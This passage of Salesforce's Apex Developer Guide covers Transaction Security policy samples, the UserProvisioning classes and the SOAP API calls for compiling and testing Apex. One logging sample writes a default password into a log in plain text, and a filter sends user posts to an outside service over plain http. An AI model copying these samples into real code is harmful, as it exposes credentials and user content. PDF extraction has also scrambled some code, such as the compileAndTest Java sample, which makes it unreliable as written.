their links. The links can include unwanted content. You can use technologies outside of Salesforce to scan or filter content based on
these different services.
In this example, we have unwanted text in communities posts and the policy executes an API callout to see if the content is compliant.
This example uses a service that blocks commonly-accepted English profanity as specified at www.purgomalum.com/profanitylist.
global class ChatterMessageProfanityFilterPolicyCondition implements
TxnSecurity.PolicyCondition {
public boolean evaluate(TxnSecurity.Event e) {
String body = e.data.get('Body');
//Create HTTPRequest and specify its type and properties.
HttpRequest request = new HttpRequest();
request.setMethod('GET');
request.setHeader('content-type', 'text/plain');
request.setHeader('Connection', 'keep-alive');
request.setEndpoint('http://www.purgomalum.com/service/containsprofanity?text=' +
EncodingUtil.urlEncode(body,'UTF-8'));
Http http = new Http();
HTTPResponse response = http.send(request);
if (response.getStatusCode() == 200 && response.getBody().equals('true')) {
return true; // Callout succeeded and found profanity in the message.
}
return false; // Callout failed or no profanity was found.
}
}

PolicyCondition Example: Block Connected App Access

Block a Connected App with API access from accessing large amounts data.
Sometimes connected apps have API privileges to access data org-wide due to sharing or account access settings definitions. However,
the end user of the connected app is restricted to only a specific data set. This conflict can result in an increased security risk by identifying
the API key and performing command-line searches directly in the database to look for leads. The following policy avoids this situation
and data loss around your companys lead information.
global class DataLoaderLeadExportPolicyCondition implements TxnSecurity.PolicyCondition {
public boolean evaluate(TxnSecurity.Event e) {
if (Boolean.valueOf(e.data.get('IsApi'))) {
// The event data is a Map<String, String>. We need to call the
// valueOf() method on appropriate data types to use them here.
String resourceType
= e.data.get('resourceType');
String connectedAppId
= e.data.get('ConnectedAppId');
Integer numberOfRecords
= Integer.valueOf(e.data.get('NumberOfRecords'));
Integer executionTimeMillis = Integer.valueOf(e.data.get('ExecutionTime'));
// We're looking for leads accessed by a specific connected app that is
// transferring more than 2,000 records a second - a large transfer.
if ('Lead'.equals(resourceType) &&
'0CiD00000004Cce'.equals(connectedAppId) &&

2548

Reference

UserProvisioning Namespace

numberOfRecords > 2000 &&

executionTimeMillis > 1000) {
return true;
}
}
return false;
}
}

UserProvisioning Namespace
The UserProvisioning namespace provides methods for monitoring outbound user provisioning requests.
The following is the class in the UserProvisioning namespace.
IN THIS SECTION:
ConnectorTestUtil Class
Enables developers to write Apex test classes for connectors used by the connected app provisioning solution. This class simulates
provisioning for the associated app.
UserProvisioningLog Class
Provides methods for writing messages to monitor outbound user provisioning requests.
UserProvisioningPlugin Class
The UserProvisioningPlugin base class implements Process.Plugin for programmatic customization of the user
provisioning process for connected apps.

ConnectorTestUtil Class
Enables developers to write Apex test classes for connectors used by the connected app provisioning solution. This class simulates
provisioning for the associated app.

Namespace
UserProvisioning

Usage
Use this class for connector-based test accelerators. You can invoke it only from within an Apex test.
IN THIS SECTION:
ConnectorTestUtil Method
SEE ALSO:
Salesforce Help: User Provisioning for Connected Apps

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Reference

UserProvisioningLog Class

ConnectorTestUtil Method
The ConnectorTestUtil class has 1 method.
IN THIS SECTION:
createConnectedApp(connectedAppName)
Creates an instance of a connected app to simulate provisioning.

createConnectedApp(connectedAppName)
Creates an instance of a connected app to simulate provisioning.

Signature
public static ConnectedApplication createConnectedApp(String connectedAppName)

Parameters
connectedAppName

Type: String
Name of the connected app to test for provisioning.

Return Value
Type: ConnectedApplication
The instance of the connected app to test for provisioning.

UserProvisioningLog Class
Provides methods for writing messages to monitor outbound user provisioning requests.

Namespace
UserProvisioning

Example
This example writes the user account information sent to a third-party system for a provisioning request to the UserProvisioningLog
object.
String inputParamsStr = 'Input parameters: uprId=' + uprId + ',
endpointURL=' + endpointURL + ', adminUsername=' + adminUsername + ',
email=' + email + ', username=' + username + ', defaultPassword=' + defaultPassword + ',
defaultRoles =' + defaultRoles;
UserProvisioning.UserProvisioningLog.log(uprId, inputParamsStr);

IN THIS SECTION:
UserProvisioningLog Methods

2550

Reference

UserProvisioningLog Class

UserProvisioningLog Methods
The following are methods for UserProvisioningLog. All methods are static.
IN THIS SECTION:
log(userProvisioningRequestId, details)
Writes a specific message, such as an error message, to monitor the progress of a user provisioning request.
log(userProvisioningRequestId, status, details)
Writes a specific status and message, such a status and detailed error message, to monitor the progress of a user provisioning request.
log(userProvisioningRequestId, externalUserId, externalUserName, userId, details)
Writes a specific message, such as an error message, to monitor the progress of a user provisioning request associated with a specific
user.

log(userProvisioningRequestId, details)
Writes a specific message, such as an error message, to monitor the progress of a user provisioning request.

Signature
public void log(String userProvisioningRequestId, String details)

Parameters
userProvisioningRequestId

Type: String
A unique identifier for the user provisioning request.
details

Type: String
The text for the message.

Return Value
Type: void

log(userProvisioningRequestId, status, details)

Writes a specific status and message, such a status and detailed error message, to monitor the progress of a user provisioning request.

Signature
public void log(String userProvisioningRequestId, String status, String details)

Parameters
userProvisioningRequestId

Type: String
A unique identifier for the user provisioning request.

2551

Reference

UserProvisioningLog Class

status

Type: String
A description of the current state. For example, while invoking a third-party API, the status could be invoke.
details

Type: String
The text for the message.

Return Value
Type: void

log(userProvisioningRequestId, externalUserId, externalUserName, userId,

details)
Writes a specific message, such as an error message, to monitor the progress of a user provisioning request associated with a specific
user.

Signature
public void log(String userProvisioningRequestId, String externalUserId, String
externalUserName, String userId, String details)

Parameters
userProvisioningRequestId

Type: String
A unique identifier for the user provisioning request.
externalUserId

Type: String
The unique identifier for the user in the target system.
externalUserName

Type: String
The username for the user in the target system.
userId

Type: String
Salesforce ID of the user making the request.
details

Type: String
The text for the message.

Return Value
Type: void

2552

Reference

UserProvisioningPlugin Class

UserProvisioningPlugin Class
The UserProvisioningPlugin base class implements Process.Plugin for programmatic customization of the user
provisioning process for connected apps.

Namespace
UserProvisioning

Usage
Extending this class gives you a plug-in that can be used in the Flow designer as an Apex plug-in, with the following input and output
parameters.
Input Parameter Name

Description

userProvisioningRequestId

The unique ID of the request for the plug-in to process.

userId

The ID of the associated user for the request.

NamedCredDevName

The unique API name for the named credential to use for a request.
The named credential identifies the third-party system and the
third-party authentication settings.
When the named credential is set in the User Provisioning Wizard,
Salesforce stores the value in the
UserProvisioningConfig.NamedCredentialId

field.
When collecting and analyzing users on a third-party system, the
plug-in uses this filter to limit the scope of the collection.

reconFilter

When the filter is set in the User Provisioning Wizard, Salesforce

stores the value in the
UserProvisioningConfig.ReconFilter field.
When collecting and analyzing users on a third-party system, the
plug-in uses this value as the starting point for the collection.

reconOffset

Output Parameter Name

Description

Status

The vendor-specific status of the provisioning operation on the

third-party system.

Details

The vendor-specific message related to the status of the

provisioning operation on the third-party system.

ExternalUserId

The vendor-specific ID for the associated user on the third-party

system.

2553

Reference

UserProvisioningPlugin Class

Output Parameter Name

Description

ExternalUsername

The vendor-specific username for the associated user on the

third-party system.

ExternalEmail

The email address assigned to the user on the third-party system.

ExternalFirstName

The first name assigned to the user on the third-party system.

ExternalLastName

The last name assigned to the user on the third-party system.

reconState

The state of the collecting and analyzing process on the third-party

system. When the value is complete, the process is finished and
a subsequent call to the plug-in is no longer needed, nor made.

nextReconOffset

When collecting and analyzing users on a third-party system, the

process may encounter a transaction limit and have to stop before
finishing. The value specified here initiates a call to the plug-in with
a new quota limit.

If you want to add more custom parameters, use the buildDescribeCall() method.

Example
The following example uses the buildDescribeCall() method to add a new input parameter and a new output parameter.
The example also demonstrates how to bypass the limit of the 10,000 records processed in DML statements in an Apex transaction.
global class SampleConnector extends UserProvisioning.UserProvisioningPlugin {
// Example of adding more input and output parameters to those defined in the base
class
global override Process.PluginDescribeResult buildDescribeCall() {
Process.PluginDescribeResult describeResult = new Process.PluginDescribeResult();
describeResult.inputParameters = new
List<Process.PluginDescribeResult.InputParameter>{
new Process.PluginDescribeResult.InputParameter('testInputParam',
Process.PluginDescribeResult.ParameterType.STRING, false)
};
describeResult.outputParameters = new
List<Process.PluginDescribeResult.OutputParameter>{
new Process.PluginDescribeResult.OutputParameter('testOutputParam',
Process.PluginDescribeResult.ParameterType.STRING)
};
return describeResult;
}
// Example Plugin that demonstrates how to leverage the
reconOffset/nextReconOffset/reconState
// parameters to create more than 10,000 users. (i.e. go beyond the 10,000 DML limit
per transaction)

2554

Reference

UserProvisioningPlugin Class

global override Process.PluginResult invoke(Process.PluginRequest request) {

Map<String,String> result = new Map<String,String>();
String uprId = (String) request.inputParameters.get('userProvisioningRequestId');
UserProvisioning.UserProvisioningLog.log(uprId, 'Inserting Log from test Apex
connector');
UserProvisioningRequest upr = [SELECT id, operation, connectedAppId, state
FROM userprovisioningrequest WHERE id = :uprId];
if (upr.operation.equals('Reconcile')) {
String reconOffsetStr = (String) request.inputParameters.get('reconOffset');
Integer reconOffset = 0;
if (reconOffsetStr != null) {
reconOffset = Integer.valueOf(reconOffsetStr);
}
if (reconOffset > 44999) {
result.put('reconState', 'Completed');
}
Integer i = 0;
List<UserProvAccountStaging> upasList = new List<UserProvAccountStaging>();
for (i = 0; i < 5000; i++) {
UserProvAccountStaging upas = new UserProvAccountStaging();
upas.Name = i + reconOffset + '';
upas.ExternalFirstName = upas.Name;
upas.ExternalEmail = '[email protected]';
upas.LinkState = 'Orphaned';
upas.Status = 'Active';
upas.connectedAppId = upr.connectedAppId;
upasList.add(upas);
}
insert upasList;
result.put('nextReconOffset', reconOffset + 5000 + '');
}
return new Process.PluginResult(result);
}
}

IN THIS SECTION:
UserProvisioningPlugin Methods

UserProvisioningPlugin Methods
The following are methods for UserProvisioningPlugin.
IN THIS SECTION:
buildDescribeCall()
Use this method to add more input and output parameters to those defined in the base class.

2555

Reference

UserProvisioningPlugin Class

describe()
Returns a Process.PluginDescribeResult object that describes this method call.
getPluginClassName()
Returns the name of the class implementing the plugin.
invoke(request)
Primary method that the system invokes when the class that implements the interface is instantiated.

buildDescribeCall()
Use this method to add more input and output parameters to those defined in the base class.

Signature
public Process.PluginDescribeResult buildDescribeCall()

Return Value
Type: Process.PluginDescribeResult

describe()
Returns a Process.PluginDescribeResult object that describes this method call.

Signature
public Process.PluginDescribeResult describe()

Return Value
Type: Process.PluginDescribeResult

getPluginClassName()
Returns the name of the class implementing the plugin.

Signature
public String getPluginClassName()

Return Value
Type: String

invoke(request)
Primary method that the system invokes when the class that implements the interface is instantiated.

Signature
public Process.PluginResult invoke(Process.PluginRequest request)

2556

Reference

UserProvisioningPlugin Class

Parameters
request

Type: Process.PluginRequest

Return Value
Type: Process.PluginDescribeResult

2557

APPENDICES

APPENDIX A SOAP API and SOAP Headers for Apex

This appendix details the SOAP API calls and objects that are available by default for Apex.
Note: Apex class methods can be exposed as custom SOAP Web service calls. This allows an external application to invoke an
Apex Web service to perform an action in Salesforce. Use the webService keyword to define these methods. For more
information, see Considerations for Using the WebService Keyword on page 254.
Any Apex code saved using SOAP API calls uses the same version of SOAP API as the endpoint of the request. For example, if you want
to use SOAP API version 37.0, use endpoint 37.0:
https://yourInstance.salesforce.com/services/Soap/s/37.0

For information on all other SOAP API calls, including those that can be used to extend or implement any existing Apex IDEs, contact
your Salesforce representative.
The following API objects are available:
ApexTestQueueItem
ApexTestResult
ApexTestResultLimits
ApexTestRunResult
The following are SOAP API calls:
compileAndTest()
compileClasses()
compileTriggers()
executeanonymous()
runTests()
The following SOAP headers are available in SOAP API calls for Apex:
DebuggingHeader
PackageVersionHeader
Also see the Metadata API Developer Guide for two additional calls:
deploy()
retrieve()

ApexTestQueueItem
Represents a single Apex class in the Apex job queue. This object is available in API version 23.0 and later.
This object is available in API version 23.0 and later.

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SOAP API and SOAP Headers for Apex

ApexTestQueueItem

Supported Calls
create(), describeSObjects(), query(), retrieve(), update(), upsert()

Fields
Field Name

Description

ApexClassId

Type
reference
Properties
Create, Filter, Group, Sort
Description
The Apex class whose tests are to be executed.

ExtendedStatus

Type
string
Properties
Filter, Nillable, Sort
Description
The pass rate of the test run.
For example: (4/6). This means that four out of a total of six tests passed.
If the class fails to execute, this field contains the cause of the failure.

ParentJobId

Type
reference
Properties
Filter, Group, Nillable, Sort
Description
Points to the AsyncApexJob that represents the entire test run.
If you insert multiple Apex test queue items in a single bulk operation, the queue
items will share the same parent job. This means that a test run can consist of
the execution of the tests of several classes if all the test queue items are inserted
in the same bulk operation.

Status

Type
picklist
Properties
Filter, Group, Restricted picklist, Sort, Update
Description
The status of the job. Valid values are:
1
Holding

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SOAP API and SOAP Headers for Apex

Field Name

ApexTestResult

Description
Queued
Preparing
Processing
Aborted
Completed
Failed
1

TestRunResultID

This status applies to batch jobs in the Apex flex queue.

Type
reference
Properties
Filter, Group, Nillable, Sort
Description
The ID of the associated ApexTestRunResult object.

Usage
Insert an ApexTestQueueItem object to place its corresponding Apex class in the Apex job queue for execution. The Apex job
executes the test methods in the class.
To abort a class that is in the Apex job queue, perform an update operation on the ApexTestQueueItem object and set its Status
field to Aborted.
If you insert multiple Apex test queue items in a single bulk operation, the queue items will share the same parent job. This means that
a test run can consist of the execution of the tests of several classes if all the test queue items are inserted in the same bulk operation.

ApexTestResult
Represents the result of an Apex test method execution. This object is available in API version 23.0 and later.

Supported Calls
create(), delete(), describeSObjects(), query(), retrieve(), update()

Fields
Field Name

Details

ApexClassId

Type
reference
Properties
Create, Filter, Group, Sort, Update

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SOAP API and SOAP Headers for Apex

Field Name

ApexTestResult

Details
Description
The Apex class whose test methods were executed.

ApexLogId

Type
reference
Properties
Create, Filter, Group, Nillable, Sort, Update
Description
Points to the ApexLog for this test method execution if debug logging is enabled;
otherwise, null.

ApexTestRunResultId

Type
reference
Properties
Create, Filter, Group, Nillable, Sort, Update
Description
The ID of the ApexTestRunResult that represents the entire test run.

AsyncApexJobId

Type
reference
Properties
Create, Filter, Group, Nillable, Sort, Update
Description
Points to the AsyncApexJob that represents the entire test run.
This field points to the same object as
ApexTestQueueItem.ParentJobId.

Message

Type
string
Properties
Create, Filter, Nillable, Sort, Update
Description
The exception error message if a test failure occurs; otherwise, null.

MethodName

Type
string
Properties
Create, Filter, Group, Nillable, Sort, Update
Description
The test method name.

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SOAP API and SOAP Headers for Apex

ApexTestResult

Field Name

Details

Outcome

Type
picklist
Properties
Create, Filter, Group, Restricted picklist, Sort, Update
Description
The result of the test method execution. Can be one of these values:
Pass
Fail
CompileFail
Skip

QueueItemId

Type
reference
Properties
Create, Filter, Group, Nillable, Sort, Update
Description
Points to the ApexTestQueueItem which is the class that this test method is part
of.

RunTime

Type
int
Properties
Create, Filter, Nillable, Sort, Update
Description
The time it took the test method to run, in seconds.

StackTrace

Type
string
Properties
Create, Filter, Nillable, Sort, Update
Description
The Apex stack trace if the test failed; otherwise, null.

TestTimestamp

Type
dateTime
Properties
Create, Filter, Sort, Update
Description
The start time of the test method.

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SOAP API and SOAP Headers for Apex

ApexTestResultLimits

Usage
You can query the fields of the ApexTestResult record that corresponds to a test method executed as part of an Apex class
execution.
Each test method execution is represented by a single ApexTestResult record. For example, if an Apex test class contains six test
methods, six ApexTestResult records are created. These records are in addition to the ApexTestQueueItem record that
represents the Apex class.
Each ApexTestResult record has an associated ApexTestResultLimits on page 2563 record, which captures the Apex limits used during
execution of the test method.

ApexTestResultLimits
Captures the Apex test limits used for a particular test method execution. An instance of this object is associated with each ApexTestResult
record. This object is available in API version 37.0 and later.

Supported Calls
create(), delete(), describeSObjects(), query(), retrieve(), update()

Fields
Field Name

Details

ApexTestResultId

Type
reference
Properties
Create, Filter, Group, Sort
Description
The ID of the associated ApexTestResult object.

AsyncCalls

Type
int
Properties
Create, Filter, Group, Sort, Update
Description
The number of asynchronous calls made during the test run.

Callouts

Type
int
Properties
Create, Filter, Group, Sort, Update
Description
The number of callouts made during the test run.

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SOAP API and SOAP Headers for Apex

ApexTestResultLimits

Field Name

Details

Cpu

Type
int
Properties
Create, Filter, Group, Sort, Update
Description
The amount of CPU used during the test run, in milliseconds.

Dml

Type
int
Properties
Create, Filter, Group, Sort, Update
Description
The number of DML statements made during the test run.

DmlRows

Type
int
Properties
Create, Filter, Group, Sort, Update
Description
The number of rows accessed by DML statements during the test run.

Type
int
Properties
Create, Filter, Group, Sort, Update
Description
The number of email invocations made during the test run.

LimitContext

Type
string
Properties
Create, Filter, Group, Nillable, Sort, Update
Description
Indicates whether the test run was synchronous or asynchronous.

LimitExceptions

Type
string
Properties
Create, Filter, Group, Nillable, Sort, Update

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SOAP API and SOAP Headers for Apex

Field Name

ApexTestResultLimits

Details
Description
Indicates whether your org has any limits that differ from the default limits.

MobilePush

Type
int
Properties
Create, Filter, Group, Sort, Update
Description
The number of mobile push calls made during the test run.

QueryRows

Type
int
Properties
Create, Filter, Group, Sort, Update
Description
The number of rows queried during the test run.

Soql

Type
int
Properties
Create, Filter, Group, Sort, Update
Description
The number of SOQL queries made during the test run.

Sosl

Type
int
Properties
Create, Filter, Group, Sort, Update
Description
The number of SOSL queries made during the test run.

Usage
The ApexTestResultLimits object is populated for each test method execution, and it captures the limits used between the Test.startTest()
and Test.stopTest() methods. If startTest() and stopTest() arent called, limits usage is not captured. Note the following:
The associated test method must be run asynchronously.
Limits for asynchronous Apex operations (batch, scheduled, future, and queueable) that are called within test methods are not
captured.
Limits are captured only for the default namespace.

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SOAP API and SOAP Headers for Apex

ApexTestRunResult

ApexTestRunResult
Contains summary information about all the test methods that were run in a particular Apex job. This object is available in API version
37.0 and later.

Supported Calls
create(), delete(), describeSObjects(), query(), retrieve(), update()

Fields
Field Name

Details

AsyncApexJobId

Type
reference
Properties
Create, Filter, Group, Nillable, Sort, Update
Description
The parent Apex job ID for the result.

ClassesCompleted

Type
int
Properties
Create, Filter, Group, Nillable, Sort, Update
Description
The total number of classes executed during the test run.

ClassesEnqueued

Type
int
Properties
Create, Filter, Group, Sort, Update
Description
The total number of classes enqueued during the test run.

EndTime

Type
dateTime
Properties
Create, Filter, Nillable, Sort, Update
Description
The time at which the test run ended.

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SOAP API and SOAP Headers for Apex

ApexTestRunResult

Field Name

Details

IsAllTests

Type
boolean
Properties
Create, Filter, Group, Sort, Update
Description
Indicates whether all Apex test classes were run.

JobName

Type
string
Properties
Create, Filter, Group, Nillable, Sort, Update
Description
Reserved for future use.

Source

Type
string
Properties
Create, Filter, Group, Nillable, Sort, Update
Description
The source of the test run, such as the Developer Console.

StartTime

Type
dateTime
Properties
Create, Filter, Sort, Update
Description
The time at which the test run started.

Status

Type
picklist
Properties
Create, Filter, Group, Sort, Update
Description
The status of the test run. Values include:
Queued
Processing
Aborted
Completed
Failed

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SOAP API and SOAP Headers for Apex

compileAndTest()

Field Name

Details

TestTime

Type
int
Properties
Create, Filter, Group, Nillable, Sort, Update
Description
The time it took the test to run, in seconds.

UserId

Type
reference
Properties
Create, Filter, Group, Nillable, Sort, Update
Description
The user who ran the test run.

compileAndTest()
Compile and test your Apex in a single call.

Syntax
CompileAndTestResult[] = compileAndTest(CompileAndTestRequest request);

Usage
Use this call to both compile and test the Apex you specify with a single call. Production organizations (not a Developer Edition or
Sandbox Edition) must use this call instead of compileClasses() or compileTriggers().
This call supports the DebuggingHeader and the SessionHeader. For more information about the SOAP headers in the API, see the SOAP
API Developer's Guide.
All specified tests must pass, otherwise data is not saved to the database. If this call is invoked in a production organization, the
RunTestsRequest property of the CompileAndTestRequest is ignored, and all unit tests defined in the organization are run and must
pass.

Sample CodeJava
Note that the following example sets checkOnly to true so that this class is compiled and tested, but the classes are not saved to
the database.
{
CompileAndTestRequest request;
CompileAndTestResult result = null;

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SOAP API and SOAP Headers for Apex

compileAndTest()

String triggerBody = "trigger t1 on Account (before insert){ " +

" for(Account a:Trigger.new){ " +
"
a.description = 't1_UPDATE';}" +
"}";
String
"
"
"
"
"
"
"
"
"
"
"
"
"}";

testClassBody = "@isTest private class TestT1{" +

// Test for the trigger" +
public static testmethod void test1(){" +
Account a = new Account(name='TEST');" +
insert(a);" +
a = [select id,description from Account where id=:a.id];" +
System.assert(a.description.contains('t1_UPDATE'));" +
}" +
// Test for the class" +
public static testmethod void test2(){" +
String s = C1.method1();" +
System.assert(s=='HELLO');" +
}" +

String
"
"
"
"
"}";

classBody = "public class C1{" +

public static String s ='HELLO';" +
public static String method1(){" +
return(s);" +
}" +

request = new CompileAndTestRequest();

request.setClasses(new String[]{classBody, testClassBody});
request.setTriggers(new String[]{triggerBody});
request.setCheckOnly(true);
try {
result = apexBinding.compileAndTest(request);
} catch (RemoteException e) {
System.out.println("An unexpected error occurred: " + e.getMessage());
}
assert (result.isSuccess());
}

Arguments
Name

Type

Description

request

CompileAndTestRequest

A request that includes the Apex and the values for any fields that need
to be set for this request.

Response
CompileAndTestResult

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SOAP API and SOAP Headers for Apex

CompileAndTestRequest

CompileAndTestRequest
The compileAndTest() call contains this object, a request with information about the Apex to be compiled.
A CompileAndTestRequest object has the following properties:
Name

Type

Description

checkOnly

boolean

If set to true, the Apex classes and triggers submitted are not saved to your
organization, whether or not the code successfully compiles and unit tests pass.

classes

string

Content of the class or classes to be compiled.

deleteClasses

string

Name of the class or classes to be deleted.

deleteTriggers

string

Name of the trigger or triggers to be deleted.

runTestsRequest

RunTestsRequest

Specifies information about the Apex to be tested. If this request is sent in a production
organization, this property is ignored and all unit tests are run for your entire
organization.

triggers

string

Content of the trigger or triggers to be compiled.

Note the following about this object:

This object contains the RunTestsRequest property. If the request is run in a production organization, the property is ignored
and all tests are run.
If any errors occur during compile, delete, testing, or if the goal of 75% code coverage is missed, no classes or triggers are saved to
your organization. This is the same requirement as Force.com AppExchange package testing.
All triggers must have code coverage. If a trigger has no code coverage, no classes or triggers are saved to your organization.

CompileAndTestResult
The compileAndTest() call returns information about the compile and unit test run of the specified Apex, including whether it
succeeded or failed.
A CompileAndTestResult object has the following properties:
Name

Type

Description

classes

CompileClassResult

Information about the success or failure of the compileAndTest()

call if classes were being compiled.

deleteClasses

DeleteApexResult

Information about the success or failure of the compileAndTest()

call if classes were being deleted.

deleteTriggers

DeleteApexResult

Information about the success or failure of the compileAndTest()

call if triggers were being deleted.

runTestsResult

RunTestsResult

Information about the success or failure of the Apex unit tests, if any were
specified.

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SOAP API and SOAP Headers for Apex

CompileAndTestResult

Name

Type

Description

success

boolean*

If true, all of the classes, triggers, and unit tests specified ran successfully.
If any class, trigger, or unit test failed, the value is false, and details are
reported in the corresponding result object:
CompileClassResult
CompileTriggerResult
DeleteApexResult
RunTestsResult

triggers

CompileTriggerResult

Information about the success or failure of the compileAndTest()

call if triggers were being compiled.

* Link goes to the SOAP API Developer's Guide.

CompileClassResult
This object is returned as part of a compileAndTest() or compileClasses() call. It contains information about whether or
not the compile and run of the specified Apex was successful.
A CompileClassResult object has the following properties:
Name

Type

Description

bodyCrc

int*

The CRC (cyclic redundancy check) of the class or trigger file.

column

int*

The column number where an error occurred, if one did.

ID*

An ID is created for each compiled class. The ID is unique within an organization.

line

int*

The line number where an error occurred, if one did.

name

string*

The name of the class.

problem

string*

The description of the problem if an error occurred.

success

boolean*

If true, the class or classes compiled successfully. If false, problems are specified
in other properties of this object.

* Link goes to the SOAP API Developer's Guide.

CompileTriggerResult
This object is returned as part of a compileAndTest() or compileTriggers() call. It contains information about whether or
not the compile and run of the specified Apex was successful.
A CompileTriggerResult object has the following properties:
Name

Type

Description

bodyCrc

int*

The CRC (cyclic redundancy check) of the trigger file.

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SOAP API and SOAP Headers for Apex

compileClasses()

Name

Type

Description

column

int*

The column where an error occurred, if one did.

ID*

An ID is created for each compiled trigger. The ID is unique within an organization.

line

int*

The line number where an error occurred, if one did.

name

string*

The name of the trigger.

problem

string*

The description of the problem if an error occurred.

success

boolean*

If true, all the specified triggers compiled and ran successfully. If the compilation
or execution of any trigger fails, the value is false.

* Link goes to the SOAP API Developer's Guide.

DeleteApexResult
This object is returned when the compileAndTest() call returns information about the deletion of a class or trigger.
A DeleteApexResult object has the following properties:
Name

Type

Description

ID*

ID of the deleted trigger or class. The ID is unique within an organization.

problem

string*

The description of the problem if an error occurred.

success

boolean*

If true, all the specified classes or triggers were deleted successfully. If any class or
trigger is not deleted, the value is false.

* Link goes to the SOAP API Developer's Guide.

compileClasses()
Compile your Apex in Developer Edition or sandbox organizations.

Syntax
CompileClassResult[] = compileClasses(string[] classList);

Usage
Use this call to compile Apex classes in Developer Edition or sandbox organizations. Production organizations must use
compileAndTest().
This call supports the DebuggingHeader and the SessionHeader. For more information about the SOAP headers in the API, see the SOAP
API Developer's Guide.

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SOAP API and SOAP Headers for Apex

compileClasses()

Sample CodeJava
public void compileClassesSample() {
String p1 = "public class p1 {\n"
+ "public static Integer var1 = 0;\n"
+ "public static void methodA() {\n"
+ " var1 = 1;\n" + "}\n"
+ "public static void methodB() {\n"
+ " p2.MethodA();\n" + "}\n"
+ "}";
String p2 = "public class p2 {\n"
+ "public static Integer var1 = 0;\n"
+ "public static void methodA() {\n"
+ " var1 = 1;\n" + "}\n"
+ "public static void methodB() {\n"
+ " p1.MethodA();\n" + "}\n"
+ "}";
CompileClassResult[] r = new CompileClassResult[0];
try {
r = apexBinding.compileClasses(new String[]{p1, p2});
} catch (RemoteException e) {
System.out.println("An unexpected error occurred: "
+ e.getMessage());
}
if (!r[0].isSuccess()) {
System.out.println("Couldn't compile class p1 because: "
+ r[0].getProblem());
}
if (!r[1].isSuccess()) {
System.out.println("Couldn't compile class p2 because: "
+ r[1].getProblem());
}
}

Arguments
Name

Type

Description

scripts

string*

A request that includes the Apex classes and the values for any fields that need to be
set for this request.

* Link goes to the SOAP API Developer's Guide.

Response
CompileClassResult

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SOAP API and SOAP Headers for Apex

compileTriggers()

compileTriggers()
Compile your Apex triggers in Developer Edition or sandbox organizations.

Syntax
CompileTriggerResult[] = compileTriggers(string[] triggerList);

Usage
Use this call to compile the specified Apex triggers in your Developer Edition or sandbox organization. Production organizations must
use compileAndTest().
This call supports the DebuggingHeader and the SessionHeader. For more information about the SOAP headers in the API, see the SOAP
API Developer's Guide.

Arguments
Name

Type

Description

scripts

string*

A request that includes the Apex trigger or triggers and the values for any fields that
need to be set for this request.

* Link goes to the SOAP API Developer's Guide.

Response
CompileTriggerResult

executeanonymous()
Executes a block of Apex.

Syntax
ExecuteAnonymousResult[] = binding.executeanonymous(string apexcode);

Usage
Use this call to execute an anonymous block of Apex. This call can be executed from AJAX.
This call supports the API DebuggingHeader and SessionHeader.
If a component in a package with restricted API access issues this call, the request is blocked.

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SOAP API and SOAP Headers for Apex

ExecuteAnonymousResult

Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value that
is too long for the field.

Arguments
Name

Type

Description

apexcode

string*

A block of Apex.

* Link goes to the SOAP API Developer's Guide.

SOAP API Developer's Guide contains information about security, access, and SOAP headers.

Response
ExecuteAnonymousResult[]

ExecuteAnonymousResult
The executeanonymous() call returns information about whether or not the compile and run of the code was successful.
An ExecuteAnonymousResult object has the following properties:
Name

Type

Description

column

int*

If compiled is False, this field contains the column number of the point where
the compile failed.

compileProblem

string*

If compiled is False, this field contains a description of the problem that caused
the compile to fail.

compiled

boolean*

If True, the code was successfully compiled. If False, the column, line, and
compileProblem fields are not null.

exceptionMessage string*

If success is False, this field contains the exception message for the failure.

exceptionStackTrace string*

If success is False, this field contains the stack trace for the failure.

line

int*

If compiled is False, this field contains the line number of the point where the
compile failed.

success

boolean*

If True, the code was successfully executed. If False, the exceptionMessage

and exceptionStackTrace values are not null.

* Link goes to the SOAP API Developer's Guide.

runTests()
Run your Apex unit tests.

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SOAP API and SOAP Headers for Apex

runTests()

Syntax
RunTestsResult[] = binding.runTests(RunTestsRequest request);

Usage
To facilitate the development of robust, error-free code, Apex supports the creation and execution of unit tests. Unit tests are class
methods that verify whether a particular piece of code is working properly. Unit test methods take no arguments, commit no data to
the database, send no emails, and are flagged with the testMethod keyword or the isTest annotation in the method definition.
Also, test methods must be defined in test classes, that is, classes annotated with isTest. Use this call to run your Apex unit tests.
This call supports the DebuggingHeader and the SessionHeader. For more information about the SOAP headers in the API, see the SOAP
API Developer's Guide.

Sample CodeJava
public void runTestsSample() {
String sessionId = "sessionID goes here";
String url = "url goes here";
// Set the Apex stub with session ID received from logging in with the partner API
_SessionHeader sh = new _SessionHeader();
apexBinding.setHeader(
new ApexServiceLocator().getServiceName().getNamespaceURI(),
"SessionHeader", sh);
// Set the URL received from logging in with the partner API to the Apex stub
apexBinding._setProperty(ApexBindingStub.ENDPOINT_ADDRESS_PROPERTY, url);
// Set the debugging header
_DebuggingHeader dh = new _DebuggingHeader();
dh.setDebugLevel(LogType.Profiling);
apexBinding.setHeader(
new ApexServiceLocator().getServiceName().getNamespaceURI(),
"DebuggingHeader", dh);
long start = System.currentTimeMillis();
RunTestsRequest rtr = new RunTestsRequest();
rtr.setAllTests(true);
RunTestsResult res = null;
try {
res = apexBinding.runTests(rtr);
} catch (RemoteException e) {
System.out.println("An unexpected error occurred: " + e.getMessage());
}
System.out.println("Number of tests: " + res.getNumTestsRun());
System.out.println("Number of failures: " + res.getNumFailures());
if (res.getNumFailures() > 0) {
for (RunTestFailure rtf : res.getFailures()) {
System.out.println("Failure: " + (rtf.getNamespace() ==
null ? "" : rtf.getNamespace() + ".")
+ rtf.getName() + "." + rtf.getMethodName() + ": "
+ rtf.getMessage() + "\n" + rtf.getStackTrace());

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SOAP API and SOAP Headers for Apex

RunTestsRequest

}
}
if (res.getCodeCoverage() != null) {
for (CodeCoverageResult ccr : res.getCodeCoverage()) {
System.out.println("Code coverage for " + ccr.getType() +
(ccr.getNamespace() == null ? "" : ccr.getNamespace() + ".")
+ ccr.getName() + ": "
+ ccr.getNumLocationsNotCovered()
+ " locations not covered out of "
+ ccr.getNumLocations());
if (ccr.getNumLocationsNotCovered() > 0) {
for (CodeLocation cl : ccr.getLocationsNotCovered())
System.out.println("\tLine " + cl.getLine());
}
}
}
System.out.println("Finished in " +
(System.currentTimeMillis() - start) + "ms");
}

Arguments
Name

Type

Description

request

RunTestsRequest

A request that includes the Apex unit tests and the values for any fields that
need to be set for this request.

Response
RunTestsResult

RunTestsRequest
